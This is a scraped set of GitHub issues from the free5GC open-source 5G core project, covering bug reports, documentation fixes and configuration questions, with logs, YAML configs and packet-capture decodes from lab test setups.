2023-07-04T15:53:12Z [INFO][SMF][GSM] Protocol Configuration Options
2023-07-04T15:53:12Z [INFO][SMF][GSM] &{[0xc0003d9700 0xc0003d9740]}
2023-07-04T15:53:12Z [INFO][SMF][GSM] Didn't Implement container type IPAddressAllocationViaNASSignallingUL
2023-07-04T15:53:12Z [INFO][SMF][PduSess] PCF Selection for SMContext SUPI[imsi-208930000000003] PDUSessionID[1]
2023-07-04T15:53:13Z [INFO][SMF][PduSess] SUPI[imsi-208930000000003] has no pre-config route
2023-07-04T15:53:13Z [INFO][SMF][Consumer] SendNFDiscoveryServingAMF ok
2023-07-04T15:53:13Z [INFO][SMF][GIN] | 201 | 10.244.120.89 | POST | /nsmf-pdusession/v1/sm-contexts |
2023-07-04T15:53:13Z [INFO][SMF][PFCP] In HandlePfcpSessionEstablishmentResponse
2023-07-04T15:53:13Z [INFO][LIB][PFCP] Remove Request Transaction [2]
2023-07-04T15:53:25Z [INFO][SMF][GIN] | 200 | 10.244.120.116 | GET | /nsmf-oam/v1/ue-pdu-session-info/urn:uuid:8415bd3a-4063-45b0-a2f9-cc4d29c6953d |
2023-07-04T15:53:28Z [INFO][SMF][PduSess] Receive Update SM Context Request
2023-07-04T15:53:28Z [INFO][SMF][PduSess] In HandlePDUSessionSMContextUpdate
2023-07-04T15:53:28Z [WARN][SMF][PduSess] SMContext[imsi-208930000000003-01] should be Active, but actual ModificationPending
2023-07-04T15:53:28Z [INFO][SMF][CTX] [SMF] Cause_REL_DUE_TO_DUPLICATE_SESSION_ID
2023-07-04T15:53:28Z [INFO][SMF][PduSess] Send PFCP Deletion from HandlePDUSessionSMContextUpdate
2023-07-04T15:53:37Z [INFO][LIB][PFCP] Remove Request Transaction [3]
GNB logs:
root@free:~# kubectl logs ran-ueransim-gnb-0
UERANSIM v3.2.6
[2023-07-04 15:53:08.587] [sctp] [info] Trying to establish SCTP connection... (10.244.120.89:38412)
[2023-07-04 15:53:08.669] [sctp] [info] SCTP connection established (10.244.120.89:38412)
[2023-07-04 15:53:08.670] [sctp] [debug] SCTP association setup ascId[11]
[2023-07-04 15:53:08.671] [ngap] [debug] Sending NG Setup Request
[2023-07-04 15:53:08.684] [ngap] [debug] NG Setup Response received
[2023-07-04 15:53:08.685] [ngap] [info] NG Setup procedure is successful
[2023-07-04 15:53:10.588] [rrc] [debug] UE[1] new signal detected
[2023-07-04 15:53:10.589] [rrc] [info] RRC Setup for UE[1]
[2023-07-04 15:53:10.590] [ngap] [debug] Initial NAS message received from UE[1]
[2023-07-04 15:53:12.076] [ngap] [debug] Initial Context Setup Request received
AMF config:
amfName: AMF
serviceNameList:
- namf-comm
- namf-evts
- namf-mt
- namf-loc
- namf-oam
servedGuamiList:
- plmnId:
mcc: 208
mnc: 93
amfId: cafe00
supportTaiList:
- plmnId:
mcc: 208
mnc: 93
tac: 1
plmnSupportList:
- plmnId:
mcc: 208
mnc: 93
snssaiList:
- sst: 1
sd: 010203
- sst: 1
sd: 112233
supportDnnList:
- internet
security:
integrityOrder:
- NIA2
cipheringOrder:
- NEA0
SMF config:
smfName: SMF
snssaiInfos:
- sNssai:
sst: 1
sd: 010203
dnnInfos: # DNN information list
- dnn: internet # Data Network Name
dns: # the IP address of DNS
ipv4: 8.8.8.8
- sNssai:
sst: 1
sd: 112233
dnnInfos: # DNN information list
- dnn: internet # Data Network Name
dns: # the IP address of DNS
ipv4: 8.8.8.8
- sNssai:
sst: 2
sd: 112234
dnnInfos:
- dnn: internet
dns:
ipv4: 8.8.8.8
plmnList: # the list of PLMN IDs that this SMF belongs to (optional, remove this key when unnecessary)
- mcc: "208" # Mobile Country Code (3 digits string, digit: 0~9)
mnc: "93" # Mobile Network Code (2 or 3 digits string, digit: 0~9)
userplaneInformation: # list of userplane information
upNodes: # information of userplane node (AN or UPF)
gNB1: # the name of the node
type: AN # the type of the node (AN or UPF)
UPF: # the name of the node
type: UPF # the type of the node (AN or UPF)
nodeID: core-free5gc-upf-upf-0.upf-service # the IP/FQDN of N4 interface on this UPF (PFCP)
sNssaiUpfInfos: # S-NSSAI information list for this UPF
- sNssai: # S-NSSAI (Single Network Slice Selection Assistance Information)
sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 010203 # Slice Differentiator (3 bytes hex string, range: 000000~FFFFFF)
dnnUpfInfoList: # DNN information list for this S-NSSAI
- dnn: internet
pools:
- cidr: 10.1.0.0/17
- sNssai: # S-NSSAI (Single Network Slice Selection Assistance Information)
sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 112233 # Slice Differentiator (3 bytes hex string, range: 000000~FFFFFF)
dnnUpfInfoList: # DNN information list for this S-NSSAI
- dnn: internet
GNB config:
configuration: |-
mcc: '208' # Mobile Country Code value
mnc: '93' # Mobile Network Code value (2 or 3 digits)
nci: '0x000000010' # NR Cell Identity (36-bit)
idLength: 32 # NR gNB ID length in bits [22...32]
tac: 1 # Tracking Area Code
# List of supported S-NSSAIs by this gNB
slices:
- sst: 0x1
sd: 0x010203
UE config:
configuration: |-
supi: "imsi-208930000000003" # IMSI number
mcc: '208' # Mobile Country Code value
mnc: '93' # Mobile Network Code value (2 or 3 digits)
key: "8baf473f2f8fd09487cccbd7097c6862" # Operator code (OP or OPC) of the UE
op: "8e27b6af0e692e750f32667a3b14605d" # This value specifies the OP type and it can be either 'OP' or 'OPC'
opType: "OPC" # This value specifies the OP type and it can be either 'OP' or 'OPC'
amf: '8000' # Authentication Management Field (AMF) value
imei: '356938035643803' # IMEI number of the device
imeiSv: '4370816125816151'
# UAC Access Identities Configuration
uacAic:
mps: false
mcs: false
# UAC Access Control Class
uacAcc:
normalClass: 0
class11: false
class12: false
class13: false
class14: false
class15: false
sessions:
- type: "IPv4"
apn: "internet"
slice:
sst: 0x01
sd: 0x010203
# Configured NSSAI for this UE by HPLMN
configured-nssai:
- sst: 0x01
sd: 0x010203
# Default Configured NSSAI for this UE
default-nssai:
- sst: 1
sd: 1
|
Unable to establish PDU session, [WARN][AMF][GMM][AMF_UE_NGAP_ID:1][SUPI:imsi-208930000000003] Duplicated PDU session ID[1]
|
https://api.github.com/repos/free5gc/free5gc/issues/464/comments
| 1 |
2023-07-05T06:26:14Z
|
2023-07-21T07:48:34Z
|
https://github.com/free5gc/free5gc/issues/464
| 1,788,858,645 | 464 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The text formatting of the [Hardware](https://free5gc.org/guide/hardware/) page is not correctly formatted.
## Suggestion
Adjust the source code to match other pages formatting
## Additional context
I didn't see the option to open docs related issues on this repo, so the screenshot was attached on the linked issue.
PR: https://github.com/free5gc/free5gc.github.io/pull/6
|
[Docs] Improvement to text formatting on tested hardware page
|
https://api.github.com/repos/free5gc/free5gc/issues/463/comments
| 0 |
2023-07-02T01:31:04Z
|
2023-07-03T06:07:55Z
|
https://github.com/free5gc/free5gc/issues/463
| 1,784,366,802 | 463 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The [current docs](https://free5gc.org/guide/3-install-free5gc/#b-install-control-plane-elements) for version 3.3.0 still want you to clone v3.2.1.
## Suggestion
Change the command from
```
git clone --recursive -b v3.2.1 -j `nproc` https://github.com/free5gc/free5gc.git
```
to
```
git clone --recursive -b v3.3.0 -j `nproc` https://github.com/free5gc/free5gc.git
```
## Additional context
None
|
[Docs] Update version in clone command
|
https://api.github.com/repos/free5gc/free5gc/issues/461/comments
| 1 |
2023-06-30T10:04:50Z
|
2023-07-03T07:08:47Z
|
https://github.com/free5gc/free5gc/issues/461
| 1,782,257,935 | 461 |
[
"free5gc",
"free5gc"
] |
Hello free5GC team.
I want to add a communication round between UE and AMF inside `SendUEAuthenticationAuthenticateRequest` (The phase AMF direct SUCI to AUSF)
I want AMF send something like "Hello UE" to UE, and UE respond with "Hello AMF" before AMF direct SUCI to AUSF.
I checked the workflow of sending RAND||AUTN to UE. The AMF make use of `SendDownlinkNasTransport` and build the bytes using method in `internal/gmm/message/build.go`. But it is complicated for me to do the same and I am also worried if my change will require some timer or lock.
So, I guess it's best to ask experts. Can you suggest me a way to implement such new round, please?
Thank you very much.
|
Adding communication round between UE and AMF
|
https://api.github.com/repos/free5gc/free5gc/issues/459/comments
| 1 |
2023-06-28T21:25:42Z
|
2023-07-10T16:44:15Z
|
https://github.com/free5gc/free5gc/issues/459
| 1,779,796,951 | 459 |
[
"free5gc",
"free5gc"
] |
## Performing the Xn Handover manually
Hello all, I am interested in simulating the Xn Handover behavior. If I understood right, this functionality is already implemented in free5GC since I was able to run the Test (./test.sh TestXnHandover), which seems to work. However, I would like to trigger the handover by myself.
So far, I have deployed the full core network, 2 gNBs and one user connected to one of them. Is there a way to send a command to perform the Xn Handover from one to the other gNB?
Thank you for time,
Ignacio
|
[Info] Xn Handover simulation
|
https://api.github.com/repos/free5gc/free5gc/issues/458/comments
| 1 |
2023-06-27T12:36:53Z
|
2023-07-27T10:18:46Z
|
https://github.com/free5gc/free5gc/issues/458
| 1,776,835,762 | 458 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
`PFCP Session Establishment` failed with free5GC v3.3.0 and [oai-cn5g-upf-vpp](https://gitlab.eurecom.fr/oai/cn5g/oai-cn5g-upf-vpp) v1.5.1.
I don't know if this is a bug or not.
## To Reproduce
`PFCP Session Establishment` was successful with free5GC v3.2.1 (not v3.3.0) and oai-cn5g-upf-vpp v1.5.1.
I wrote this successful configuration as folows.
https://github.com/s5uishida/free5gc_ueransim_vpp_upf_dpdk_sample_config
However, when I used this configuration as is, and changed free5GC from v3.2.1 to v3.3.0 and tried to connect the UE, I received the following error message (pcap) in the `PFCP Session Establishment Response`.
```
Error Report : [Grouped IE]
Enterprise specific IE Type: 32774
IE Length: 42
Enterprise ID: Travelping GmbH (18681)
--> Error Message : PDR ID 1, unknown Network Instance
Enterprise specific IE Type: 32775
IE Length: 36
Enterprise ID: Travelping GmbH (18681)
Error Message: PDR ID 1, unknown Network Instance
```
For DNN and Network Instance, I am using `internet`.
IMSI is `001010000000000`.
## Expected behavior
`PFCP Session Establishment` succeeds with free5GC v3.3.0 and oai-cn5g-upf-vpp v1.5.1.
## Screenshots
## Environment (please complete the following information):
- free5GC Version: [v3.3.0]
- OS: [Ubuntu 22.04 Server]
- Kernel version: [5.15.0-67-lowlatency]
- go version: [go1.17.8 linux/amd64]
- c compiler version (Option): [gcc version 11.3.0]
## Trace File
### Configuration File
The changed configuration files are as follows.
- amfcfg.yaml
```
--- amfcfg.yaml.orig 2023-06-17 13:32:30.936184528 +0900
+++ amfcfg.yaml 2023-06-17 13:43:54.901214657 +0900
@@ -5,7 +5,7 @@
configuration:
amfName: AMF # the name of this AMF
ngapIpList: # the IP list of N2 interfaces on this AMF
- - 127.0.0.18
+ - 192.168.0.141
ngapPort: 38412 # the SCTP port listened by NGAP
sbi: # Service-based interface information
scheme: http # the protocol for sbi (http or https)
@@ -24,18 +24,18 @@
servedGuamiList: # Guami (Globally Unique AMF ID) list supported by this AMF
# <GUAMI> = <MCC><MNC><AMF ID>
- plmnId: # Public Land Mobile Network ID, <PLMN ID> = <MCC><MNC>
- mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
- mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
+ mcc: 001 # Mobile Country Code (3 digits string, digit: 0~9)
+ mnc: 01 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
amfId: cafe00 # AMF identifier (3 bytes hex string, range: 000000~FFFFFF)
supportTaiList: # the TAI (Tracking Area Identifier) list supported by this AMF
- plmnId: # Public Land Mobile Network ID, <PLMN ID> = <MCC><MNC>
- mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
- mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
+ mcc: 001 # Mobile Country Code (3 digits string, digit: 0~9)
+ mnc: 01 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
tac: 000001 # Tracking Area Code (3 bytes hex string, range: 000000~FFFFFF)
plmnSupportList: # the PLMNs (Public land mobile network) list supported by this AMF
- plmnId: # Public Land Mobile Network ID, <PLMN ID> = <MCC><MNC>
- mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
- mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
+ mcc: 001 # Mobile Country Code (3 digits string, digit: 0~9)
+ mnc: 01 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
snssaiList: # the S-NSSAI (Single Network Slice Selection Assistance Information) list supported by this AMF
- sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 010203 # Slice Differentiator (3 bytes hex string, range: 000000~FFFFFF)
```
- ausfcfg.yaml
```
--- ausfcfg.yaml.orig 2023-06-17 13:32:30.937184630 +0900
+++ ausfcfg.yaml 2023-06-17 13:44:45.741848358 +0900
@@ -15,8 +15,8 @@
- nausf-auth # Nausf_UEAuthentication service
nrfUri: http://127.0.0.10:8000 # a valid URI of NRF
plmnSupportList: # the PLMNs (Public Land Mobile Network) list supported by this AUSF
- - mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
- mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
+ - mcc: 001 # Mobile Country Code (3 digits string, digit: 0~9)
+ mnc: 01 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
- mcc: 123 # Mobile Country Code (3 digits string, digit: 0~9)
mnc: 45 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
groupId: ausfGroup001 # ID for the group of the AUSF
```
- nrfcfg.yaml
```
--- nrfcfg.yaml.orig 2023-06-17 13:32:30.937184630 +0900
+++ nrfcfg.yaml 2023-06-17 13:45:55.575758415 +0900
@@ -14,8 +14,8 @@
pem: cert/nrf.pem # NRF TLS Certificate
key: cert/nrf.key # NRF TLS Private key
DefaultPlmnId:
- mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
- mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
+ mcc: 001 # Mobile Country Code (3 digits string, digit: 0~9)
+ mnc: 001 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
serviceNameList: # the SBI services provided by this NRF, refer to TS 29.510
- nnrf-nfm # Nnrf_NFManagement service
- nnrf-disc # Nnrf_NFDiscovery service
```
- nssfcfg.yaml
```
--- nssfcfg.yaml.orig 2023-06-17 13:32:30.937184630 +0900
+++ nssfcfg.yaml 2023-06-17 13:46:37.986325676 +0900
@@ -17,12 +17,12 @@
- nnssf-nssaiavailability # Nnssf_NSSAIAvailability service
nrfUri: http://127.0.0.10:8000 # a valid URI of NRF
supportedPlmnList: # the PLMNs (Public land mobile network) list supported by this NSSF
- - mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
- mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
+ - mcc: 001 # Mobile Country Code (3 digits string, digit: 0~9)
+ mnc: 01 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
supportedNssaiInPlmnList: # Supported S-NSSAI List for each PLMN
- plmnId: # Public Land Mobile Network ID, <PLMN ID> = <MCC><MNC>
- mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
- mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
+ mcc: 001 # Mobile Country Code (3 digits string, digit: 0~9)
+ mnc: 01 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
supportedSnssaiList: # Supported S-NSSAIs of the PLMN
- sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 010203 # Slice Differentiator (3 bytes hex string, range: 000000~FFFFFF)
```
- smfcfg.yaml
```
--- smfcfg.yaml.orig 2023-06-17 13:32:30.937184630 +0900
+++ smfcfg.yaml 2023-06-17 13:53:16.643854000 +0900
@@ -34,22 +34,22 @@
ipv4: 8.8.8.8
ipv6: 2001:4860:4860::8888
plmnList: # the list of PLMN IDs that this SMF belongs to (optional, remove this key when unnecessary)
- - mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
- mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
+ - mcc: 001 # Mobile Country Code (3 digits string, digit: 0~9)
+ mnc: 01 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
locality: area1 # Name of the location where a set of AMF, SMF, PCF and UPFs are located
pfcp: # the IP address of N4 interface on this SMF (PFCP)
# addr config is deprecated in smf config v1.0.3, please use the following config
- nodeID: 127.0.0.1 # the Node ID of this SMF
- listenAddr: 127.0.0.1 # the IP/FQDN of N4 interface on this SMF (PFCP)
- externalAddr: 127.0.0.1 # the IP/FQDN of N4 interface on this SMF (PFCP)
+ nodeID: 192.168.14.141 # the Node ID of this SMF
+ listenAddr: 192.168.14.141 # the IP/FQDN of N4 interface on this SMF (PFCP)
+ externalAddr: 192.168.14.141 # the IP/FQDN of N4 interface on this SMF (PFCP)
userplaneInformation: # list of userplane information
upNodes: # information of userplane node (AN or UPF)
gNB1: # the name of the node
type: AN # the type of the node (AN or UPF)
UPF: # the name of the node
type: UPF # the type of the node (AN or UPF)
- nodeID: 127.0.0.8 # the Node ID of this UPF
- addr: 127.0.0.8 # the IP/FQDN of N4 interface on this UPF (PFCP)
+ nodeID: 192.168.14.151 # the Node ID of this UPF
+ addr: 192.168.14.151 # the IP/FQDN of N4 interface on this UPF (PFCP)
sNssaiUpfInfos: # S-NSSAI information list for this UPF
- sNssai: # S-NSSAI (Single Network Slice Selection Assistance Information)
sst: 1 # Slice/Service Type (uinteger, range: 0~255)
@@ -72,7 +72,7 @@
interfaces: # Interface list for this UPF
- interfaceType: N3 # the type of the interface (N3 or N9)
endpoints: # the IP address of this N3/N9 interface on this UPF
- - 127.0.0.8
+ - 192.168.13.151
networkInstances: # Data Network Name (DNN)
- internet
links: # the topology graph of userplane, A and B represent the two nodes of each link
@@ -91,6 +91,7 @@
nrfUri: http://127.0.0.10:8000 # a valid URI of NRF
#urrPeriod: 10 # default usage report period in seconds
#urrThreshold: 1000 # default usage report threshold in bytes
+ ulcl: false
logger: # log output setting
enable: true # true or false
```
I attached the entire config files just in case.
[config.zip](https://github.com/free5gc/free5gc/files/11799723/config.zip)
### PCAP File
[0620_02.zip](https://github.com/free5gc/free5gc/files/11799854/0620_02.zip)
### Log File
```
2023-06-20T19:26:52.848850008+09:00 [INFO][SMF][PduSess] Sending PFCP Session Establishment Request
2023-06-20T19:26:52.849866879+09:00 [INFO][AMF][Gmm][amf_ue_ngap_id:RU:1,AU:1(3GPP)][supi:SUPI:imsi-001010000000000] create smContext[pduSessionID: 1] Success
2023-06-20T19:26:52.852344722+09:00 [INFO][SMF][PduSess] Received PFCP Session Establishment Not Accepted Response
```
- **PFCP Session Establishment Request (pcap)**
```
Frame 1397: 379 bytes on wire (3032 bits), 379 bytes captured (3032 bits)
Linux cooked capture v2
Internet Protocol Version 4, Src: 192.168.14.141, Dst: 192.168.14.151
User Datagram Protocol, Src Port: 8805, Dst Port: 8805
Packet Forwarding Control Protocol
Flags: 0x23, Message Priority (MP), SEID (S)
Message Type: PFCP Session Establishment Request (50)
Length: 327
SEID: 0x0000000000000000
Sequence Number: 2
.... .... .... .... 0000 .... = Message Priority: 0
.... 0000 = Spare: 0
Node ID : IPv4 address: 192.168.14.141
F-SEID : SEID: 0x0000000000000001, IPv4 192.168.14.141
Create PDR : [Grouped IE]: PDR ID: 1
IE Type: Create PDR (1)
IE Length: 86
PDR ID : 1
Precedence : 255
PDI : [Grouped IE]
IE Type: PDI (2)
IE Length: 39
Source Interface : Access
F-TEID : TEID: 0x00000001, IPv4 192.168.13.151
--> Network Instance : internet
IE Type: Network Instance (22)
IE Length: 8
Network Instance: internet
UE IP Address :
Outer Header Removal : GTP-U/UDP/IPv4
FAR ID : Dynamic by CP 1
QER ID : Dynamic by CP 2
QER ID : Dynamic by CP 1
Create PDR : [Grouped IE]: PDR ID: 2
Create FAR : [Grouped IE]: FAR ID: Dynamic by CP 1
Create FAR : [Grouped IE]: FAR ID: Dynamic by CP 2
Create QER : [Grouped IE]: QER ID: Dynamic by CP 2
Create QER : [Grouped IE]: QER ID: Dynamic by CP 1
PDN Type : IPv4
[Response In: 1404]
```
- **PFCP Session Establishment Response (pcap)**
```
Frame 1404: 159 bytes on wire (1272 bits), 159 bytes captured (1272 bits)
Linux cooked capture v2
Internet Protocol Version 4, Src: 192.168.14.151, Dst: 192.168.14.141
User Datagram Protocol, Src Port: 8805, Dst Port: 8805
Packet Forwarding Control Protocol
Flags: 0x21, SEID (S)
Message Type: PFCP Session Establishment Response (51)
Length: 107
SEID: 0x0000000000000001
Sequence Number: 2
Spare: 0
Node ID : FQDN: 192.168.14.151
IE Type: Node ID (60)
IE Length: 16
0000 .... = Spare: 0
.... 0010 = Address Type: FQDN (2)
FQDN: 192.168.14.151
Cause : Rule creation / modification Failure
IE Type: Cause (19)
IE Length: 1
Cause: Rule creation / modification Failure (73)
Error Report : [Grouped IE]
Enterprise specific IE Type: 32774
IE Length: 42
Enterprise ID: Travelping GmbH (18681)
--> Error Message : PDR ID 1, unknown Network Instance
Enterprise specific IE Type: 32775
IE Length: 36
Enterprise ID: Travelping GmbH (18681)
Error Message: PDR ID 1, unknown Network Instance
F-SEID : SEID: 0x0000000000000001, IPv4 192.168.14.151
IE Type: F-SEID (57)
IE Length: 13
0... .... = Spare: 0
.0.. .... = Spare: 0
..0. .... = Spare: 0
...0 .... = Spare: 0
.... 0... = Spare: 0
.... .0.. = Spare: 0
.... ..1. = V4 (IPv4): Present
.... ...0 = V6 (IPv6): Not Present
SEID: 0x0000000000000001
IPv4 address: 192.168.14.151
Failed Rule ID : PDR: 1
IE Type: Failed Rule ID (114)
IE Length: 3
.... .000 = Failed Rule ID Type: PDR (0)
Rule ID: 1
[Response To: 1397]
[Response Time: 0.003092000 seconds]
```
Any idea why `PFCP Session Establishment` is successful in free5GC v3.2.1 but fails in v3.3.0?
Best regards,
--Shigeru
## System architecture (Option)
## Walkthrough (Option)
## Additional context
|
[Bugs?] PFCP Session Establishment failed with free5GC v3.3.0 and oai-cn5g-upf-vpp v1.5.1
|
https://api.github.com/repos/free5gc/free5gc/issues/457/comments
| 24 |
2023-06-20T12:04:11Z
|
2023-06-27T07:35:47Z
|
https://github.com/free5gc/free5gc/issues/457
| 1,765,261,984 | 457 |
[
"free5gc",
"free5gc"
] |
Hello, here is a concern about the registration procedure I would like to share.
When I connect 2 UEs at the same time, the time it for the first one to register is ~1s, and the second one needs additional **0.7s** to complete registration (see the green dots on figure 1).
When I connect 4 UEs at the same time, the first UE takes ~1.5s, and each following one takes **0.7s** more to register (see green dots on figure 2).
This **0.7s** delay for each next initial registration is always the same when I try similar experiments. It seems that the core is processing one registration at a time and each one takes 0.7s in my case. Is it correct? To speed up the registration of multiple UEs, is it possible to make use of concurrency on the network functions? Or is there anything else you would recommend to do?
Figure 1
Figure 2
|
Registration times latency and concurency
|
https://api.github.com/repos/free5gc/free5gc/issues/456/comments
| 2 |
2023-06-17T04:01:33Z
|
2023-07-04T07:43:26Z
|
https://github.com/free5gc/free5gc/issues/456
| 1,761,624,362 | 456 |
[
"free5gc",
"free5gc"
] |
<!-- Remove warning (above 3 lines) while reporting the issue -->
## Describe the bug
[https://free5gc.org/](https://free5gc.org/) docs links are not working. This might be caused by a wrong mkdocs config.
## To Reproduce
Click on any docs edit link, eg. https://github.com/free5gc/free5gc/edit/master/docs/index.md
## Expected behavior
Find the markdown file on github.
## Environment (please complete the following information):
Firefox
|
[Bugs] Documentation links are not working
|
https://api.github.com/repos/free5gc/free5gc/issues/455/comments
| 1 |
2023-06-15T00:38:55Z
|
2023-06-15T00:53:39Z
|
https://github.com/free5gc/free5gc/issues/455
| 1,757,845,803 | 455 |
[
"free5gc",
"free5gc"
] |
Hello, just a quick question about scalability. Does this feature is supported by free5GC? If so, is there a guide how I can do this?
|
Can I deploy two AMFs connecting to the same core?
|
https://api.github.com/repos/free5gc/free5gc/issues/454/comments
| 2 |
2023-06-09T19:03:38Z
|
2023-06-17T00:49:28Z
|
https://github.com/free5gc/free5gc/issues/454
| 1,750,369,779 | 454 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
When I try to run ```sudo ./test.sh TestRegistration```: go: git.cs.nctu.edu.tw/calee/[email protected]: Get "https://proxy.golang.org/git.cs.nctu.edu.tw/calee/sctp/@v/v1.1.0.mod": dial tcp 142.251.111.141:443: i/o timeout
There is the timeout. In my ubuntu server, I can ```curl https://git.cs.nctu.edu.tw/calee/sctp```.
$ sudo ./test.sh TestRegistration
2023-05-31T10:33:28-04:00 [INFO][UPF][Main] UPF version:
free5GC version: v3.2.1
build time: 2023-05-31T14:30:02Z
commit hash: 4972fffb
commit time: 2022-06-29T05:46:33Z
go version: go1.17.8 linux/amd64
2023-05-31T10:33:28-04:00 [INFO][UPF][Cfg] Read config from [./config/upfcfg.test.yaml]
2023-05-31T10:33:28-04:00 [INFO][UPF][Cfg] ==================================================
2023-05-31T10:33:28-04:00 [INFO][UPF][Cfg] (*factory.Config)(0xc0000ce050)({
Version: (string) (len=5) "1.0.3",
Description: (string) (len=31) "UPF initial local configuration",
Pfcp: (*factory.Pfcp)(0xc000382510)({
Addr: (string) (len=14) "10.200.200.101",
NodeID: (string) (len=14) "10.200.200.101",
RetransTimeout: (time.Duration) 1s,
MaxRetrans: (uint8) 3
}),
Gtpu: (*factory.Gtpu)(0xc0003826c0)({
Forwarder: (string) (len=5) "gtp5g",
IfList: ([]factory.IfInfo) (len=1 cap=1) {
(factory.IfInfo) {
Addr: (string) (len=14) "10.200.200.102",
Type: (string) (len=2) "N3",
Name: (string) "",
IfName: (string) ""
}
}
}),
DnnList: ([]factory.DnnList) (len=1 cap=1) {
(factory.DnnList) {
Dnn: (string) (len=8) "internet",
Cidr: (string) (len=12) "10.60.0.0/16",
NatIfName: (string) ""
}
},
Logger: (*factory.Logger)(0xc0004f21e0)({
Enable: (bool) true,
Level: (string) (len=4) "info",
ReportCaller: (bool) false
})
})
2023-05-31T10:33:28-04:00 [INFO][UPF][Cfg] ==================================================
2023-05-31T10:33:28-04:00 [INFO][UPF][Main] Log level is set to [info] level
2023-05-31T10:33:28-04:00 [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g]
2023-05-31T10:33:28-04:00 [INFO][UPF][Main] GTP Address: "10.200.200.102:2152"
2023-05-31T10:33:28-04:00 [INFO][UPF][Buff] buff server started
2023-05-31T10:33:28-04:00 [INFO][UPF][Pfcp][10.200.200.101:8805] starting pfcp server
2023-05-31T10:33:28-04:00 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp server started
2023-05-31T10:33:28-04:00 [INFO][UPF][Main] UPF started
go: git.cs.nctu.edu.tw/calee/[email protected]: Get "https://proxy.golang.org/git.cs.nctu.edu.tw/calee/sctp/@v/v1.1.0.mod": dial tcp 142.251.111.141:443: i/o timeout
go: downloading github.com/calee0219/fatal v0.0.1
go: downloading github.com/free5gc/ngap v1.0.6
go: downloading github.com/free5gc/openapi v1.0.4
go: downloading github.com/free5gc/util v1.0.3
go: downloading git.cs.nctu.edu.tw/calee/sctp v1.1.0
go: downloading github.com/free5gc/nas v1.0.7
go: downloading golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac
go: downloading github.com/go-ping/ping v0.0.0-20210506233800-ff8be3320020
go: downloading github.com/davecgh/go-spew v1.1.1
go: downloading golang.org/x/net v0.0.0-20211020060615-d418f374d309
go: downloading go.mongodb.org/mongo-driver v1.8.4
go: downloading github.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826
go: downloading github.com/stretchr/testify v1.7.0
go: downloading github.com/vishvananda/netlink v1.1.0
go: downloading gopkg.in/yaml.v2 v2.4.0
go: downloading github.com/urfave/cli v1.22.5
go: downloading github.com/antihax/optional v1.0.0
go: downloading github.com/free5gc/aper v1.0.4
go: downloading github.com/google/uuid v1.3.0
go: git.cs.nctu.edu.tw/calee/[email protected]: Get "https://proxy.golang.org/git.cs.nctu.edu.tw/calee/sctp/@v/v1.1.0.mod": dial tcp 142.251.111.141:443: i/o timeout
2023-05-31T10:34:33-04:00 [INFO][UPF][Main] Shutdown UPF ...
2023-05-31T10:34:33-04:00 [INFO][UPF][Pfcp][10.200.200.101:8805] Stopping pfcp server
2023-05-31T10:34:33-04:00 [ERRO][UPF][Pfcp][10.200.200.101:8805] read udp 10.200.200.101:8805: use of closed network connection
2023-05-31T10:34:33-04:00 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp reciver stopped
2023-05-31T10:34:33-04:00 [INFO][UPF][Pfcp][10.200.200.101:8805] pfcp server stopped
2023-05-31T10:34:33-04:00 [INFO][UPF][Buff] buff server stopped
2023-05-31T10:34:33-04:00 [INFO][UPF][Main] Terminating UPF...
2023-05-31T10:34:33-04:00 [INFO][UPF][Main] UPF terminated
2023-05-31T10:34:33-04:00 [INFO][UPF][Main] UPF exited
## To Reproduce
```sudo ./test.sh TestRegistration```
## Environment (please complete the following information):
free5GC Version: v3.2.1
OS: Ubuntu 20.04 Server
Kernel version: 5.4.0-65-generic
go version: go1.17.8 linux/amd64
c compiler version (Option): gcc version 9.4.0
|
[Bugs] Get "https://proxy.golang.org/git.cs.nctu.edu.tw/calee/sctp/@v/v1.1.0.mod": dial tcp 142.251.111.141:443: i/o timeout
|
https://api.github.com/repos/free5gc/free5gc/issues/448/comments
| 0 |
2023-05-31T14:36:47Z
|
2023-05-31T17:33:29Z
|
https://github.com/free5gc/free5gc/issues/448
| 1,734,381,694 | 448 |
[
"free5gc",
"free5gc"
] |
目前想将R15升级到R18，但是感觉生成的不太对
|
[Docs] 您好，想请教一下openapi是怎么生成的？是使用的openapi-generator-cli吗
|
https://api.github.com/repos/free5gc/free5gc/issues/445/comments
| 4 |
2023-05-11T06:31:43Z
|
2023-11-26T13:05:48Z
|
https://github.com/free5gc/free5gc/issues/445
